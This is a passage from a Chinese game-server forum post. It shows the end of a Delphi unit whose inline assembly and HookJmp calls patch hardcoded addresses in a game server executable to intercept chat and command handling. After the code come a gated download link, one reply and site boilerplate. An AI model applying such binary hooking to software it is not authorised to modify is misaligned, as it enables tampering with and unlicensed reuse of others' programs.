  862.         TEiFunc.DebugOut('_Command.hkTalkSelf:' + E.Message)
  863.     end;
  864.   end;
  865. asm
  866.   push ecx
  867.   push edx
  868.     mov  eax,[ebp-4]
  869.     mov  edx,[ebp-$68]
  870.     movzx  ecx,word ptr [ebp-$78]
  871.     Call _CanSay
  872.     test al,al
  873.   pop  edx
  874.   pop  ecx
  875.   jz   @@False
  876.   movzx  eax,word ptr [ebp-$78]
  877.   cmp    eax,$2731
  878.   push   $52A2CE
  879.   ret
  880.   @@FALSE:
  881.   movzx  eax,word ptr [ebp-$78]
  882.   push   $52A6D6
  883.   ret
  884. end;
  885. initialization
  886.   TFunc.HookJmp($52A2C9, @hkTalkSelf);  //2006/06/15 限制仅对自己说话

  887.   //_Command
  888.   //用户输入信息处理
  889.   TFunc.HookJmp($51DCE6, @CommandCode); //玩家输入信息
  890.   TFunc.HookJmp($51E093, @CommandOrder); //玩家命令类信息(第一个符号为@的命令行)处理
  891.   TFunc.HookJmp($521EA5, @CommandChatYel); //! 喊话
  892.   TFunc.HookJmp($521F9F, @CommandChat); //玩家白字类信息
  893.   TFunc.HookJmp($521BB3, @CommandChatCall); //玩家M人信息
  894.   TFunc.HookJmp($521D7A, @CommandChatAll); //  !@ 全服喊话
  895.   TFunc.HookJmp($521C71, @CommandChatGreen); //玩家绿字类信息 (行会喊话)

  896.   TFunc.HookJmp($521DE4, @CommandGreenDebug); //绿字提示BUG
  897. finalization

  898. end.

复制代码
分享名称:RSR人寿人-daogelas.zip
分享链接:http://pan.zxdll.cn/9bcYCuew
访问密码:
游客,如果您要查看本帖隐藏内容请回复






上一篇:God引擎源码编译教程,god网关编译教程说明
下一篇:God引擎源码镜像版+服务端编译视频及God引擎源代码
回复

使用道具 举报

1

主题

20

回帖

289

积分

旋风流星刀

积分
289
发表于 2023-7-14 00:54:12 | 显示全部楼层
遥远的代码。
回复 支持 反对

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

手机版|美林GM论坛 ( 蜀ICP备2020030293号-2 )|网站地图

禁止发布任何违反国家法律、法规的言论与图片等内容;本站内容均来自个人观点与网络等信息,非本站认同之观点.如遇版权问题,请及时QQ联系

GMT+8, 2024-4-28 17:59 , Processed in 0.325040 second(s), 53 queries .

Powered by Discuz! X3.5

Copyright © 2001-2024, Tencent Cloud.

快速回复 返回顶部 返回列表